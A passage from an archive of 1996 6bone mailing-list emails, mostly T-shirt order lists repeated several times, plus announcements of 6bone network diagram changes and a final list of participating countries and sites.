Yoshida, Shin	1 L	ietf (not confirmed)
Zhang, Lixia	1 M	ietf
-end



From majordom@ISI.EDU  Tue Nov 19 07:04:00 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18425>; Tue, 19 Nov 1996 15:04:06 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18419>; Tue, 19 Nov 1996 15:04:04 -0800
Received: from cnrmail.lbl.gov (buster.lbl.gov) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA11893>; Tue, 19 Nov 1996 15:04:03 -0800
Received: from [128.3.9.22] by cnrmail.lbl.gov
 with ESMTP (Apple Internet Mail Server 1.1.1); Tue, 19 Nov 1996 15:04:04 -0800
X-Sender: rlfink@cnrmail.lbl.gov
Message-Id: <v03007802aeb79ff35626@[128.3.9.22]>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 1 (Highest)
Date: Tue, 19 Nov 1996 15:04:00 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt order list 19Nov96 1500
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

At this stage, to avoid further confusion, I've moved all those not
confirmed from the first list to this one, and notated it.  However,
confirmed or not, I will honor them as there is such a high confirmed
response.  Way over 300 Tshirts!

I'm still open for orders and will queue what comes in after my cutoff for
a 2nd run later on.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	mail (need address)
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Boroumand, Jarad	2 XL	ietf (not confirmed)
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	? (not confirmed)
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Curran, Peter	2 L	ietf
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	? (not confirmed)
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf (not confirmed)
Durand, Alain	10 XL	ietf (not confirmed)
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
=46ang, Hsin	1 XL	ietf
=46ernstedt, Anders	25 L, 25 XL	ietf
=46ield, Brian	1 XL	mail (not confirmed)
=46ink, Bob	2 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail (need address)
Jaeger, Kurt	5 XL, 1 XXL	mail
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf (not confirmed)
McCann, Jack	2 XL	? (not confirmed)
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf (not confirmed)
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Onoe, Atsushi	1 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf
Solensky, Frank	1 L	ietf (not confirmed)
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Turner, Rob	1 XXL	? (not confirmed)
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf (not confirmed)
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
Yoshida, Shin	1 L	ietf (not confirmed)
Zhang, Lixia	1 M	ietf
-end



From majordom@ISI.EDU  Tue Nov 19 07:04:00 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18425>; Tue, 19 Nov 1996 15:04:06 -0800
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	id <AA18419>; Tue, 19 Nov 1996 15:04:04 -0800
Received: from cnrmail.lbl.gov (buster.lbl.gov) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA11893>; Tue, 19 Nov 1996 15:04:03 -0800
Received: from [128.3.9.22] by cnrmail.lbl.gov
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Date: Tue, 19 Nov 1996 15:04:00 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt order list 19Nov96 1500
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

At this stage, to avoid further confusion, I've moved all those not
confirmed from the first list to this one, and notated it.  However,
confirmed or not, I will honor them as there is such a high confirmed
response.  Way over 300 Tshirts!

I'm still open for orders and will queue what comes in after my cutoff for
a 2nd run later on.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	mail (need address)
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Boroumand, Jarad	2 XL	ietf (not confirmed)
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	? (not confirmed)
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Curran, Peter	2 L	ietf
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	? (not confirmed)
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf (not confirmed)
Durand, Alain	10 XL	ietf (not confirmed)
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
=46ang, Hsin	1 XL	ietf
=46ernstedt, Anders	25 L, 25 XL	ietf
=46ield, Brian	1 XL	mail (not confirmed)
=46ink, Bob	2 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail (need address)
Jaeger, Kurt	5 XL, 1 XXL	mail
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf (not confirmed)
McCann, Jack	2 XL	? (not confirmed)
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf (not confirmed)
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Onoe, Atsushi	1 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf
Solensky, Frank	1 L	ietf (not confirmed)
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Turner, Rob	1 XXL	? (not confirmed)
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf (not confirmed)
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
Yoshida, Shin	1 L	ietf (not confirmed)
Zhang, Lixia	1 M	ietf
-end



From majordom@ISI.EDU  Tue Nov 19 07:04:00 1996
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Date: Tue, 19 Nov 1996 15:04:00 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt order list 19Nov96 1500
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

At this stage, to avoid further confusion, I've moved all those not
confirmed from the first list to this one, and notated it.  However,
confirmed or not, I will honor them as there is such a high confirmed
response.  Way over 300 Tshirts!

I'm still open for orders and will queue what comes in after my cutoff for
a 2nd run later on.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	mail (need address)
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Boroumand, Jarad	2 XL	ietf (not confirmed)
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	? (not confirmed)
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Curran, Peter	2 L	ietf
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	? (not confirmed)
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf (not confirmed)
Durand, Alain	10 XL	ietf (not confirmed)
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
=46ang, Hsin	1 XL	ietf
=46ernstedt, Anders	25 L, 25 XL	ietf
=46ield, Brian	1 XL	mail (not confirmed)
=46ink, Bob	2 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail (need address)
Jaeger, Kurt	5 XL, 1 XXL	mail
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf (not confirmed)
McCann, Jack	2 XL	? (not confirmed)
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf (not confirmed)
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Onoe, Atsushi	1 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf
Solensky, Frank	1 L	ietf (not confirmed)
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Turner, Rob	1 XXL	? (not confirmed)
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf (not confirmed)
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
Yoshida, Shin	1 L	ietf (not confirmed)
Zhang, Lixia	1 M	ietf
-end



From majordom@ISI.EDU  Tue Nov 19 08:56:53 1996
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	id <AA28987>; Tue, 19 Nov 1996 16:57:01 -0800
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	id <AA28981>; Tue, 19 Nov 1996 16:56:58 -0800
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	id <AA19036>; Tue, 19 Nov 1996 16:56:56 -0800
Received: from [128.3.9.22] by cnrmail.lbl.gov
 with ESMTP (Apple Internet Mail Server 1.1.1); Tue, 19 Nov 1996 16:56:56 -0800
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Message-Id: <v03007829aeb806195cda@[128.3.9.22]>
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Date: Tue, 19 Nov 1996 16:56:53 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change and COLORFUL ADDITIONS :-)
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

6bone diagram version 35:

Many changes - may miss a few on the list below

	remove extraneous KAIST - CISCO link

	add TU-Berlin/DE and DETERBERKOM/DE and respective links

	add DIGITAL-AU/AU with a link to DIGITAL-CA/US

	add WILLAMETTE/US with a link to WWU/US

	add new link from SUMITOMO/JP to BAY/US

	add new links from DIGITAL-CA/US to DETERBERKOM/DE, WIDE/JP & BAY/US

Apologies if I screwed something up...just let me know.


ALSO - NOT TO START A WAR, A COLORFUL CHANGE

I've colorized the nodes, and made a first attempt at identifying transit
nodes to eventually help in routing, planning, redoing the map, etc.

If I've offended your site, my apologies...just let me know.

If I was wrong in doing this, I'll change/remove or whatever is appropriate.


Comments to the mailer, please :-)



Thanks,

Bob



From majordom@ISI.EDU  Tue Nov 19 07:04:00 1996
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	id <AA18425>; Tue, 19 Nov 1996 15:04:06 -0800
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	id <AA18419>; Tue, 19 Nov 1996 15:04:04 -0800
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	id <AA11893>; Tue, 19 Nov 1996 15:04:03 -0800
Received: from [128.3.9.22] by cnrmail.lbl.gov
 with ESMTP (Apple Internet Mail Server 1.1.1); Tue, 19 Nov 1996 15:04:04 -0800
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Message-Id: <v03007802aeb79ff35626@[128.3.9.22]>
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Date: Tue, 19 Nov 1996 15:04:00 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt order list 19Nov96 1500
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

At this stage, to avoid further confusion, I've moved all those not
confirmed from the first list to this one, and notated it.  However,
confirmed or not, I will honor them as there is such a high confirmed
response.  Way over 300 Tshirts!

I'm still open for orders and will queue what comes in after my cutoff for
a 2nd run later on.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	mail (need address)
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Boroumand, Jarad	2 XL	ietf (not confirmed)
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	? (not confirmed)
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Curran, Peter	2 L	ietf
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	? (not confirmed)
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf (not confirmed)
Durand, Alain	10 XL	ietf (not confirmed)
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
=46ang, Hsin	1 XL	ietf
=46ernstedt, Anders	25 L, 25 XL	ietf
=46ield, Brian	1 XL	mail (not confirmed)
=46ink, Bob	2 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail (need address)
Jaeger, Kurt	5 XL, 1 XXL	mail
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf (not confirmed)
McCann, Jack	2 XL	? (not confirmed)
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf (not confirmed)
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Onoe, Atsushi	1 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf
Solensky, Frank	1 L	ietf (not confirmed)
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Turner, Rob	1 XXL	? (not confirmed)
Vohra, Quaizar	3 XL, 1 L, 1 M	ietf (not confirmed)
Weise, Bernd	5 XL, 5 XXL	ietf
Wessendorf, Guido	2 XL, 1 L	ietf
Winchcombe, Charlie	5 XXL	mail
Yamamoto, Kazuhiko	1 L	ietf
Yoshida, Shin	1 L	ietf (not confirmed)
Zhang, Lixia	1 M	ietf
-end



From majordom@ISI.EDU  Wed Nov 20 14:14:40 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@isi.edu (6BONE Mailer)
Subject: Re: 6bone map change and COLORFUL ADDITIONS :-) 
In-Reply-To: Your message of "Tue, 19 Nov 1996 16:56:53 PST."
             <v03007829aeb806195cda@[128.3.9.22]> 
Date: Wed, 20 Nov 1996 13:14:40 +0100
From: John van Krieken <john@atcmp.nl>
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

In message <v03007829aeb806195cda@[128.3.9.22]>, Bob Fink LBNL writes:
> 6bone diagram version 35:
Legend for colors?
---------------------------------
John van Krieken, AT Computing BV
024-3527242, john@atcmp.nl, http://www.nl.net/~atcmp/images/pasfotos/john.gif

From majordom@ISI.EDU  Wed Nov 20 00:35:36 1996
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	id <AA01636>; Wed, 20 Nov 1996 08:35:43 -0800
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 with ESMTP (Apple Internet Mail Server 1.1.1); Wed, 20 Nov 1996 08:35:41 -0800
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Message-Id: <v03007801aeb8e378568b@[128.3.9.22]>
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Date: Wed, 20 Nov 1996 08:35:36 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

6bone diagram version 36:

	correct routes for NETGOD/US to WWU/US

	add IBS/US and its tunnel to NETGOD/US


Added a legend for the colors.


Thanks,

Bob



From majordom@ISI.EDU  Wed Nov 20 08:54:51 1996
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	id <AA12959>; Wed, 20 Nov 1996 16:54:58 -0800
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	id <AA12953>; Wed, 20 Nov 1996 16:54:56 -0800
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	id <AA23652>; Wed, 20 Nov 1996 16:54:55 -0800
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 with ESMTP (Apple Internet Mail Server 1.1.1); Wed, 20 Nov 1996 16:54:55 -0800
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Message-Id: <v0300780caeb9582eca63@[128.3.9.22]>
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Content-Transfer-Encoding: 8bit
Date: Wed, 20 Nov 1996 16:54:51 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Final country/site list for the 6bone Tshirt
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

This is the final country/site list for the 6bone Tshirt.  There are 17
countries and over 80 sites!

Well done!


Thanks,

Bob
=========
AT
  COSY
AU
  DIGITAL
CA
  ESYS
CH
  ETHZ
DE
  DETEBERKOM
  FAUERN
  JOGUNET
  JOIN
  TU-BERLIN
  TU-BS
DK
  DENET
    UAALBORG
    UAARHUS
    UNI-C DTH
    UNI-C KBH
    UODENSE
  TELEBIT
FR
  G6
    EUDIL
    ENSTB
    INRIA
    IMAG
    SB-ROSCOFF
    UPOITIER
    UREC
    USTRASBOURG
IT
  POLITO
JP
  KEK
  SUMITOMO
  WIDE
    HITACHI
    JAIST
    KEIO
    NAIST
    NTT
    OSAKA-U
    SONY
    SONY-CSL
    U-TOKYO
KR
  KAIST
KZ
  KIT
NL
   RIPE-NCC
PT
  UL
SE
  ERA
  KTH
  SICS
SG
  NUS-IRDU
UK
  IFB
  LUT
  SCO
  TICL
  UCAM-T
  UCL
  UMAN
US
  ATT
  BAY
  CAIRN
  CISCO
  DIGITAL
  ESNET
  FNAL
  FTP-SW
  IBM
  IBS-US
  INNER
  INTEROP
  KOHALA
  LBNL
  MERIT
  NASA-GSFC
  NASA-NAS
  NETGOD
  NETLAG
  NIST
  NRL
  PARC
  RADYN
  RUTGERS
  SUMITOMO
  SUN
  UCLA
  UMCP-CS
  UNH
  UO
  USC-ISI
  WILLAMETTE
  WWU
-



From majordom@ISI.EDU  Wed Nov 20 08:51:27 1996
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Date: Wed, 20 Nov 1996 16:51:27 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Final 6bone Tshirt list for first order
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

The following list is the final one for the first 6bone Tshirt order.

I will now accumulate orders I receive for a later (after the IETF) second
order.


I will tell everyone as soon as possible about when/how to pay...stay tuned.


Thanks,

Bob


===================================================
Acheson, Steve	1 XL	mail
Asayesh, Hamid	35 L, 10 XL	ietf
Atkinson, Ran	2 L, 1 XL	ietf
Belding, Peter	1 XL	mail
Bassham, Larry	1 L	ietf
Bhogavilli, Suresh	1 L	ietf
Blundell, Phil	2 L	mail
Boroumand, Jarad	2 XL	ietf
Bound, Jim	3 L	ietf
Bryant, Geoff	1 L	mail
Choi, Woohyong	6 XL, 4 L	mail (need postal address)
Cianci, Frank	1 XL	ietf
Clauberg, Axel	3 XL	ietf
Clay, Mike	1 L, 1 XL	mail
Collins, Mike	1 XL, 1 XXXL	ietf
Crawford, Matt	4 XL	ietf
Curran, Peter	2 L	ietf
Dalgeir, Gudrun	1 XXL, 1 S, 5 XL	mail
Davis, Eric	2 XXL	mail
Day, Jonathan	3 XL	ietf
DeCasper, Dan	10 XL	mail
Deering, Steve	1 XL	ietf
Degermark, Mikael	2 XL	? (not confirmed)
de Groot, Geert Jan	1 XL	ietf
Dupont, Francis	1 XXL	ietf
Durand, Alain	2L, 8 XL	ietf
Edmondson, Dave	9 XL	ietf (pickup by Andrew Malcolm)
Eklund, Thomas	10 XL	ietf
Fang, Hsin	1 XL	ietf
Fernstedt, Anders	25 L, 25 XL	ietf
Field, Brian	1 XL	mail
Fink, Bob	1 L, 25 XL	ietf
Ganis, Matt	3 XL, 5 L	Mail
Glenn, Robert	2 XL	mail
Goode, Rob	1 M	mail
Hamilton, Martin	2 XL	ietf
Haskin, Dimitry	4 XL, 2 M, 9 L	   mail
Hazeltine, Andy	2 M, 1 L, 1 XL	mail
Hinden, Bob	2 XL	ietf
Hirabaru, Masaki	2 XL	ietf
Hoag, Andrew	2 XL	ietf
Honerkamp, Robbie	1 XL	mail
Jaeger, Kurt	5 XL, 1 XXL	mail
Jinmei, Tatuya	5 L	ietf
Jork, Markus	2 L, 3 XL	ietf
Juliano, Bryan	1 XL	ietf
Kann, Jong	4 L	ietf
Kato, Akira	2 L	ietf
King, Ray	4 L	mail
Kirkpatrick, Ben	1 XL	mail
Konczal, Joe	1 XL	mail
Kules, Bill	1 XL, 1 L	mail
Labovitz, Craig	1 XL	ietf
Lahey, Kevin	2 L	ietf
Laird, Scott	7 L, 7 XL	mail
Latzko, Alex	9 XL, 1 L	mail
Lee, Ron	1 L, 5 XL	ietf
Macker. Joe	1 XL	ietf
Martin, Jim	1 XL	ietf (not confirmed)
McCann, Jack	2 XL	? (not confirmed)
Meier, Erich	2 XL	mail
Metz, Craig	2 XL, 1 L	mail (not confirmed)
Meyer, David	2 M, 3 XXL	ietf
Michlmayr, Mike	4 XXL, 2 XL	mail
Montgomery, Doug	2 XL, 2 L	ietf
Moore, Mike	2 XL	ietf
Narten, Tom	1 XL	ietf (not confirmed)
Nerenberg, Lyndon	6 XL	ietf
Nitzan, Becca	1 M	ietf
Onoe, Atsushi	1 L	mail
Ouin, Edouard	3 XL	ietf
Page, John	2 L	mail
Peachey, Alex	2 XXL	mail
Peck, Martin	8 L, 4 XL	mail
Sakurai, Akihiro	1 M, 1 L, 1 XL	mail
Schoenwaelder, Juergen	10 XL, 1 L	ietf
Shabou, malek	1 XL	mail (need postal address)
Shand, Mike	1 XL	ietf
Sharfmesser, Igor	3 XL	mail
Sjodin, Peter	4 XL	ietf
Solensky, Frank	1 L	ietf (not confirmed)
Souissi, Mohsen	1 L	ietf (Dupont pickup)
Spindler, Tom	2 XXL	mail
Stevens, Richard	1 XL	mail
StPierre, Brad	1 L	mail
Stuart, Stephen	3 XL	ietf
Sumikawa, Munechika	2 L	ietf
Templin, Fred	1 XL, 2 XXL	ietf
Turner, Rob	1 XXL	? (not confirmed)
